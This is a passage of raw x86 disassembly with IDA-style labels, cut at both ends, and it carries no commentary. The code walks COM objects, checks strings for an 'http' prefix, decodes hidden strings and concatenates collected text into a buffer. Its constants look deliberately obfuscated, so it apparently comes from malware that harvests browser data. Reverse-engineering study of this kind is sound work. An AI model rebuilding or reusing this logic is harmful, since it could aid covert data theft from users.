		mov	ebp, esp
		mov	eax, 71F10h
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_40E80]
		push	eax
		call	ds:dword_445038
		lea	eax, [ebp+var_40E94]
		push	eax
		lea	eax, [ebp+var_40E80]
		push	eax
		push	9
		mov	eax, dword_44B15C
		movsx	edx, word_44B16C
		add	eax, edx
		sub	eax, 8
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_448254
		mov	ebx, eax
		movsx	eax, word_44B0E0
		cmp	ebx, eax
		jnz	loc_43FEAC
		mov	eax, [ebp+var_40E78]
		mov	[ebp+var_40E64], eax
		and	[ebp+var_40E60], 0
		lea	eax, [ebp+var_40E60]
		push	eax
		push	offset dword_44C97C
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44B150
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_43FEAC
		lea	eax, [ebp+var_40E84]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	eax, dword_44B124
		dec	eax
		cmp	ebx, eax
		jnz	loc_43FEA0
		lea	eax, [ebp+var_40E57]
		push	eax
		push	[ebp+var_40E84]
		call	sub_43A9C0
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_40E98], edi
		push	[ebp+var_40E84]
		call	ds:dword_44ABA0
		cmp	[ebp+var_40E57], 68h
		jnz	short loc_43F1F7
		cmp	[ebp+var_40E56], 74h
		jnz	short loc_43F1F7
		cmp	[ebp+var_40E55], 74h
		jnz	short loc_43F1F7
		cmp	[ebp+var_40E54], 70h
		jz	short loc_43F1FC


loc_43F1F7:				; CODE XREF: sub_43F0EA+F0j
					; sub_43F0EA+F9j ...
		jmp	loc_43FEA0
; ---------------------------------------------------------------------------


loc_43F1FC:				; CODE XREF: sub_43F0EA+10Bj
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		movsx	eax, word_44B114
		sub	eax, 2
		cmp	ebx, eax
		jz	short loc_43F229
		and	[ebp+var_30E4C], 0


loc_43F229:				; CODE XREF: sub_43F0EA+136j
		lea	eax, [ebp+var_40E68]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		mov	eax, dword_44B138
		movsx	edx, word_44B150
		add	eax, edx
		sub	eax, 0Dh
		cmp	ebx, eax
		jnz	loc_43FEA0
		lea	eax, [ebp+var_40E6C]
		push	eax
		push	offset dword_44C8FC
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44B1C8
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_43FE94
		lea	eax, [ebp+var_40E70]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	eax, dword_44B0C4
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_43FE88
		lea	eax, [ebp+var_40E90]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_44B1CC
		add	eax, dword_44B14C
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_43FE7C
		mov	eax, dword_44B118
		add	eax, dword_44B1CC
		sub	eax, 4
		neg	eax
		mov	[ebp+var_40E5C], eax
		push	offset dword_44C29C
		call	sub_43EFD7
		push	eax
		call	ds:dword_445044
		mov	[ebp+var_30E44], eax
		push	offset dword_44C28C
		call	sub_43EFD7
		add	esp, 8
		push	eax
		call	ds:dword_445044
		mov	[ebp+var_30E48], eax
		lea	eax, [ebp+var_40E57]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_444B60


loc_43F32F:				; CODE XREF: sub_43F0EA+D66j
		and	[ebp+var_40E88], 0
		and	[ebp+var_40E8C], 0
		movsx	eax, word_44B194
		add	eax, dword_44B0CC
		neg	eax
		cmp	[ebp+var_40E5C], eax
		jnz	short loc_43F3A2
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_44B0E4
		movsx	edx, word_44B148
		add	eax, edx
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_43FE3E
		push	offset byte_44C27D
		call	sub_4424C1
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_445020
		add	esp, 0Ch
		jmp	loc_43F4C8
; ---------------------------------------------------------------------------


loc_43F3A2:				; CODE XREF: sub_43F0EA+268j
		mov	[ebp+var_40EA8], 17h
		mov	eax, [ebp+var_40E5C]
		mov	[ebp+var_40EA0], eax
		lea	eax, [ebp+var_40EB8]
		push	eax
		lea	eax, [ebp+var_40EA8]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_40E88]
		push	eax
		push	offset dword_44C94C
		push	[ebp+var_40EB0]
		mov	edi, [ebp+var_40EB0]
		mov	edi, [edi]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44B150
		movsx	edx, word_44B110
		add	eax, edx
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_43FE3E
		lea	eax, [ebp+var_40E8C]
		push	eax
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		mov	eax, dword_44B1B8
		add	eax, dword_44B138
		sub	eax, 0Bh
		cmp	ebx, eax
		jz	short loc_43F44A
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_43FE3E
; ---------------------------------------------------------------------------


loc_43F44A:				; CODE XREF: sub_43F0EA+34Dj
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		movsx	eax, word_44B194
		movsx	edx, word_44B0B0
		add	eax, edx
		sub	eax, 8
		cmp	ebx, eax
		jz	short loc_43F493
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_43FE3E
; ---------------------------------------------------------------------------


loc_43F493:				; CODE XREF: sub_43F0EA+38Aj
		push	offset word_44C26E
		call	sub_4424C1
		push	[ebp+var_40E5C]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_44A634
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_445020
		add	esp, 18h


loc_43F4C8:				; CODE XREF: sub_43F0EA+2B3j
		lea	eax, [ebp+var_30E58]
		push	eax
		mov	eax, [ebp+var_30E54]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, dword_44B0B8
		add	eax, dword_44B15C
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_43FE3E
		movsx	eax, word_44B0C8
		sub	eax, 7
		mov	[ebp+var_30E50], eax
		jmp	loc_43FE2C
; ---------------------------------------------------------------------------


loc_43F508:				; CODE XREF: sub_43F0EA+D4Ej
		mov	[ebp+var_60ED0], 2
		mov	eax, [ebp+var_30E50]
		mov	[ebp+var_60EC8], eax
		movsx	eax, word_44B0B0
		mov	edx, dword_44B198
		sub	edx, 8
		mov	[ebp+eax+var_50EA3], dl
		lea	eax, [ebp+var_60EC0]
		push	eax
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_30E54]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_44B108
		add	eax, dword_44B094
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_43FE26
		push	offset dword_44C260
		call	sub_4424C1
		push	[ebp+var_30E50]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_44A634
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_445020
		add	esp, 18h
		and	[ebp+var_60ED4], 0
		lea	eax, [ebp+var_60ED4]
		push	eax
		push	offset dword_44C90C
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44B1A0
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_43FAAA
		lea	eax, [ebp+var_60ED8]
		push	eax
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		mov	eax, dword_44B0A4
		add	eax, dword_44B0F0
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_43FA9E
		lea	eax, [ebp+var_60E9F]
		push	eax
		push	[ebp+var_60ED8]
		call	sub_43A9C0
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_60EB8], edi
		push	[ebp+var_60ED8]
		call	ds:dword_44ABA0
		mov	eax, dword_44B14C
		movsx	edx, word_44B1A8
		add	eax, edx
		sub	eax, 6
		mov	[ebp+var_40E9C], eax
		jmp	short loc_43F6B2
; ---------------------------------------------------------------------------


loc_43F65E:				; CODE XREF: sub_43F0EA+5D4j
		mov	eax, [ebp+var_40E9C]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, dword_44B0A0
		add	edx, 6
		movsx	ecx, word_44B148
		add	edx, ecx
		cmp	eax, edx
		jz	short loc_43F695
		mov	edx, dword_44B108
		add	edx, 0Ah
		add	edx, dword_44B1A4
		cmp	eax, edx
		jnz	short loc_43F6AC


loc_43F695:				; CODE XREF: sub_43F0EA+596j
		mov	eax, [ebp+var_40E9C]
		movsx	edx, word_44B0F4
		sub	edx, 9
		mov	[ebp+eax+var_60E9F], dl


loc_43F6AC:				; CODE XREF: sub_43F0EA+5A9j
		inc	[ebp+var_40E9C]


loc_43F6B2:				; CODE XREF: sub_43F0EA+572j
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	short loc_43F65E
		lea	eax, [ebp+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_444B60
		mov	eax, dword_44B0F0
		add	eax, dword_44B130
		sub	eax, 4
		mov	[ebp+var_40E9C], eax


loc_43F6E7:				; CODE XREF: sub_43F0EA+737j
		mov	eax, [ebp+var_40E9C]
		lea	ecx, [ebp+eax+var_60E9F]
		or	eax, 0FFFFFFFFh


loc_43F6F7:				; CODE XREF: sub_43F0EA+612j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F6F7
		mov	[ebp+var_60EA8], eax
		mov	edx, dword_44B0FC
		sub	edx, 7
		cmp	eax, edx
		jz	short loc_43F727
		mov	edx, dword_44B094
		add	edx, 0BFh
		add	edx, dword_44B0A8
		cmp	eax, edx
		jbe	short loc_43F72C


loc_43F727:				; CODE XREF: sub_43F0EA+625j
		jmp	loc_43F7FE
; ---------------------------------------------------------------------------


loc_43F72C:				; CODE XREF: sub_43F0EA+63Bj
		mov	eax, dword_44B0EC
		add	eax, dword_44B098
		sub	eax, 0Ch
		mov	[ebp+var_60EA4], eax
		jmp	short loc_43F76F
; ---------------------------------------------------------------------------


loc_43F742:				; CODE XREF: sub_43F0EA+691j
		mov	eax, [ebp+var_40E9C]
		add	eax, [ebp+var_60EA4]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, dword_44B1C4
		add	edx, 19h
		add	edx, dword_44B0E4
		cmp	eax, edx
		jnz	short loc_43F77D
		inc	[ebp+var_60EA4]


loc_43F76F:				; CODE XREF: sub_43F0EA+656j
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jb	short loc_43F742


loc_43F77D:				; CODE XREF: sub_43F0EA+67Dj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jz	short loc_43F7FE
		push	dword_44B0CC
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_43D744
		add	esp, 0Ch
		mov	[ebp+var_60EDC], eax
		movsx	eax, word_44B128
		add	eax, 0FFFFh
		cmp	[ebp+var_60EDC], eax
		jnz	short loc_43F7FE
		push	offset byte_44C25B
		call	sub_4424C1
		push	eax
		lea	edi, [ebp+var_50E9B]
		push	edi
		call	ds:dword_445020
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	ds:dword_445020
		add	esp, 14h


loc_43F7FE:				; CODE XREF: sub_43F0EA:loc_43F727j
					; sub_43F0EA+69Fj ...
		mov	eax, [ebp+var_60EA8]
		mov	edx, dword_44B0FC
		sub	edx, 6
		add	eax, edx
		add	[ebp+var_40E9C], eax
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_43F6E7
		movsx	eax, word_44B100
		add	eax, dword_44B1B4
		sub	eax, 0Ah
		mov	[ebp+var_60EB4], eax
		lea	ecx, [ebp+var_50E9B]
		or	eax, 0FFFFFFFFh


loc_43F846:				; CODE XREF: sub_43F0EA+761j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F846
		mov	[ebp+var_60EA8], eax
		mov	eax, dword_44B1C8
		add	eax, dword_44B164
		sub	eax, 2
		mov	[ebp+var_40E9C], eax
		jmp	loc_43FA76
; ---------------------------------------------------------------------------


loc_43F86C:				; CODE XREF: sub_43F0EA+998j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_44B17C
		add	edx, 1Ah
		cmp	eax, edx
		jz	short loc_43F88E
		and	[ebp+var_60EAC], 0


loc_43F88E:				; CODE XREF: sub_43F0EA+79Bj
		mov	eax, dword_44B15C
		mov	edx, [ebp+var_40E9C]
		movzx	edx, [ebp+edx+var_50E9B]
		lea	eax, [eax+eax+18h]
		cmp	edx, eax
		jnz	loc_43FA21
		mov	eax, dword_44B130
		add	eax, dword_44B0E4
		sub	eax, 2
		cmp	[ebp+var_40E9C], eax
		jbe	loc_43F97D
		mov	eax, [ebp+var_40E9C]
		movsx	edx, word_44B0B0
		movsx	ecx, word_44B170
		add	edx, ecx
		sub	edx, 0Fh
		sub	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44B0FC
		add	edx, 13h
		movsx	ecx, word_44B0DC
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_43F91F
		mov	edx, dword_44B140
		add	edx, 24h
		add	edx, dword_44B1AC
		cmp	eax, edx
		jl	short loc_43F973


loc_43F91F:				; CODE XREF: sub_43F0EA+820j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44B17C
		add	edx, 30h
		movsx	ecx, word_44B148
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_43F951
		movsx	edx, word_44B1BC
		mov	ecx, dword_44B1B0
		lea	edx, [edx+ecx+3Bh]
		cmp	eax, edx
		jl	short loc_43F973


loc_43F951:				; CODE XREF: sub_43F0EA+850j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44B1C0
		add	edx, 77h
		cmp	eax, edx
		jle	short loc_43F97D
		movsx	edx, word_44B148
		add	edx, 7Ch
		cmp	eax, edx
		jge	short loc_43F97D


loc_43F973:				; CODE XREF: sub_43F0EA+833j
					; sub_43F0EA+865j
		mov	[ebp+var_60EAC], 1


loc_43F97D:				; CODE XREF: sub_43F0EA+7D7j
					; sub_43F0EA+879j ...
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jnb	loc_43FA21
		mov	eax, [ebp+var_40E9C]
		mov	edx, dword_44B104
		sub	edx, 2
		add	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_44B100
		add	edx, 17h
		cmp	eax, edx
		jle	short loc_43F9CF
		mov	edx, dword_44B1B8
		add	edx, 2Dh
		cmp	eax, edx
		jl	short loc_43FA17


loc_43F9CF:				; CODE XREF: sub_43F0EA+8D6j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44B0F8
		add	edx, 37h
		cmp	eax, edx
		jle	short loc_43F9F0
		mov	edx, dword_44B0A4
		add	edx, 3Fh
		cmp	eax, edx
		jl	short loc_43FA17


loc_43F9F0:				; CODE XREF: sub_43F0EA+8F7j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44B1B4
		add	edx, 75h
		add	edx, dword_44B0F0
		cmp	eax, edx
		jle	short loc_43FA21
		mov	edx, dword_44B15C
		add	edx, 7Bh
		cmp	eax, edx
		jge	short loc_43FA21


loc_43FA17:				; CODE XREF: sub_43F0EA+8E3j
					; sub_43F0EA+904j
		mov	[ebp+var_60EAC], 1


loc_43FA21:				; CODE XREF: sub_43F0EA+7BDj
					; sub_43F0EA+89Fj ...
		cmp	[ebp+var_60EAC], 0
		jnz	short loc_43FA4A
		mov	eax, [ebp+var_60EB4]
		mov	edx, [ebp+var_40E9C]
		mov	dl, [ebp+edx+var_50E9B]
		mov	[ebp+eax+var_50E9B], dl
		inc	[ebp+var_60EB4]


loc_43FA4A:				; CODE XREF: sub_43F0EA+93Ej
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		movsx	edx, word_44B0D8
		add	edx, 1Bh
		cmp	eax, edx
		jnz	short loc_43FA70
		mov	[ebp+var_60EAC], 1


loc_43FA70:				; CODE XREF: sub_43F0EA+97Aj
		inc	[ebp+var_40E9C]


loc_43FA76:				; CODE XREF: sub_43F0EA+77Dj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_43F86C
		mov	eax, [ebp+var_60EB4]
		mov	edx, dword_44B190
		sub	edx, 3
		mov	[ebp+eax+var_50E9B], dl


loc_43FA9E:				; CODE XREF: sub_43F0EA+52Bj
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43FAAA:				; CODE XREF: sub_43F0EA+4FDj
		and	[ebp+var_60EB0], 0
		lea	eax, [ebp+var_60EB0]
		push	eax
		push	offset dword_44C92C
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44B188
		add	eax, dword_44B14C
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_43FDBC
		lea	eax, [ebp+var_60EBC]
		push	eax
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		movsx	eax, word_44B0E0
		cmp	ebx, eax
		jnz	loc_43FDB0
		mov	eax, dword_44B1B0
		mov	[ebp+var_50EA0], eax
		jmp	loc_43FD9E
; ---------------------------------------------------------------------------


loc_43FB19:				; CODE XREF: sub_43F0EA+CC0j
		movsx	eax, word_44B090
		dec	eax
		push	eax
		call	ds:dword_44A630
		pop	ecx
		mov	[ebp+var_70F08], 2
		mov	eax, [ebp+var_50EA0]
		mov	[ebp+var_70F00], eax
		lea	eax, [ebp+var_70EF8]
		push	eax
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_60EB0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		movsx	eax, word_44B128
		movsx	edx, word_44B0D8
		add	eax, edx
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_43FD98
		and	[ebp+var_70EF4], 0
		lea	eax, [ebp+var_70EF4]
		push	eax
		push	offset dword_44C90C
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44B118
		movsx	edx, word_44B0D8
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_43FD8C
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, dword_44B1B8
		movsx	edx, word_44B168
		add	eax, edx
		sub	eax, 0Bh
		push	eax
		push	[ebp+var_30E44]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_43FC0B
		cmp	[ebp+var_60EF0], 8
		jz	short loc_43FC10


loc_43FC0B:				; CODE XREF: sub_43F0EA+B15j
		jmp	loc_43FD80
; ---------------------------------------------------------------------------


loc_43FC10:				; CODE XREF: sub_43F0EA+B1Fj
		mov	eax, dword_44B1AC
		add	eax, dword_44B1C4
		mov	edx, dword_44B0A0
		sub	edx, 4
		mov	byte ptr [ebp+eax+var_70EF8], dl
		lea	eax, [ebp+var_70EEF]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43A9C0
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F0C], edi
		push	[ebp+var_60EE8]
		call	ds:dword_44ABA0
		movsx	eax, word_44B0BC
		movsx	eax, byte ptr [ebp+eax+var_70EF8]
		movsx	edx, word_44B0C8
		movsx	ecx, word_44B170
		add	edx, ecx
		sub	edx, 0Fh
		cmp	eax, edx
		jz	loc_43FD80
		push	[ebp+var_30E4C]
		lea	eax, [ebp+var_70EEF]
		push	eax
		call	sub_44108E
		add	esp, 8
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, dword_44B0A0
		sub	eax, 4
		push	eax
		push	[ebp+var_30E48]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_44B098
		mov	edx, dword_44B144
		add	edx, dword_44B1B4
		sub	edx, 6
		mov	[ebp+eax+var_71F0E], dl
		or	ebx, ebx
		jnz	short loc_43FD0B
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_43FD0B
		lea	eax, [ebp+var_71F07]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43A9C0
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp-71F10h], edi
		push	[ebp+var_60EE8]
		call	ds:dword_44ABA0


loc_43FD0B:				; CODE XREF: sub_43F0EA+BEBj
					; sub_43F0EA+BF5j
		push	offset byte_44C253
		call	sub_4424C1
		push	[ebp+var_50EA0]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_44A634
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_445020
		lea	eax, [ebp+var_71F07]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_445020
		push	offset word_44C24E
		call	sub_4424C1
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_445020
		lea	eax, [ebp+var_70EEF]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_445020
		add	esp, 34h


loc_43FD80:				; CODE XREF: sub_43F0EA:loc_43FC0Bj
					; sub_43F0EA+B8Fj
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43FD8C:				; CODE XREF: sub_43F0EA+AE0j
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43FD98:				; CODE XREF: sub_43F0EA+AA2j
		inc	[ebp+var_50EA0]


loc_43FD9E:				; CODE XREF: sub_43F0EA+A2Aj
		mov	eax, [ebp+var_60EBC]
		cmp	[ebp+var_50EA0], eax
		jb	loc_43FB19


loc_43FDB0:				; CODE XREF: sub_43F0EA+A19j
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43FDBC:				; CODE XREF: sub_43F0EA+9F5j
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		movzx	eax, [ebp+var_50E9B]
		mov	edx, dword_44B0F8
		movsx	ecx, word_44B180
		add	edx, ecx
		sub	edx, 8
		cmp	eax, edx
		jz	short loc_43FE26
		push	offset byte_44C24B
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_445020
		lea	eax, [ebp+var_50E9B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_445020
		push	offset word_44C246
		call	sub_4424C1
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_445020
		add	esp, 1Ch


loc_43FE26:				; CODE XREF: sub_43F0EA+493j
					; sub_43F0EA+CF9j
		inc	[ebp+var_30E50]


loc_43FE2C:				; CODE XREF: sub_43F0EA+419j
		mov	eax, [ebp+var_30E58]
		cmp	[ebp+var_30E50], eax
		jb	loc_43F508


loc_43FE3E:				; CODE XREF: sub_43F0EA+292j
					; sub_43F0EA+31Fj ...
		inc	[ebp+var_40E5C]
		mov	eax, [ebp+var_40E90]
		cmp	[ebp+var_40E5C], eax
		jl	loc_43F32F
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44A62C
		pop	ecx
		push	[ebp+var_30E44]
		call	ds:dword_44ABA0
		push	[ebp+var_30E48]
		call	ds:dword_44ABA0


loc_43FE7C:				; CODE XREF: sub_43F0EA+1E5j
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43FE88:				; CODE XREF: sub_43F0EA+1BAj
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43FE94:				; CODE XREF: sub_43F0EA+195j
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43FEA0:				; CODE XREF: sub_43F0EA+B9j
					; sub_43F0EA:loc_43F1F7j ...
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43FEAC:				; CODE XREF: sub_43F0EA+53j
					; sub_43F0EA+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F0EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FEB1	proc near		; CODE XREF: sub_442C0A+244p

var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_44B148
		sub	eax, 3
		mov	[ebp+var_4], eax
		jmp	short loc_43FEDF
; ---------------------------------------------------------------------------


loc_43FEC9:				; CODE XREF: sub_43FEB1+3Bj
		mov	eax, 30h
		mul	[ebp+var_4]
		mov	[ebp+var_20], eax
		and	ds:dword_448370[eax], 0
		inc	[ebp+var_4]


loc_43FEDF:				; CODE XREF: sub_43FEB1+16j
		movsx	eax, word_44B194
		add	eax, 64h
		cmp	[ebp+var_4], eax
		jb	short loc_43FEC9
		push	0
		call	ds:dword_4470D0
		push	offset dword_44B2D4
		push	offset dword_44C95C
		push	7
		push	0
		push	offset dword_44C89C
		call	ds:dword_447620
		mov	ebx, eax
		movsx	eax, word_44B0B0
		movsx	edx, word_44B0E0
		add	eax, edx
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_4400DB
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, dword_44B2D4
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		movsx	eax, word_44B19C
		add	eax, dword_44B188
		sub	eax, 6
		cmp	ebx, eax
		jnz	short loc_43FF67
		mov	eax, dword_44B0C0
		movsx	edx, word_44B0DC
		add	eax, edx
		sub	eax, 7
		cmp	[ebp+var_C], eax
		jnz	short loc_43FF6C


loc_43FF67:				; CODE XREF: sub_43FEB1+9Ej
		jmp	loc_440073
; ---------------------------------------------------------------------------


loc_43FF6C:				; CODE XREF: sub_43FEB1+B4j
		mov	eax, dword_44B12C
		add	eax, dword_44B13C
		sub	eax, 7
		mov	[ebp+var_8], eax
		jmp	loc_440067
; ---------------------------------------------------------------------------


loc_43FF82:				; CODE XREF: sub_43FEB1+1BCj
		mov	[ebp+var_38], 3
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_3C]
		push	eax
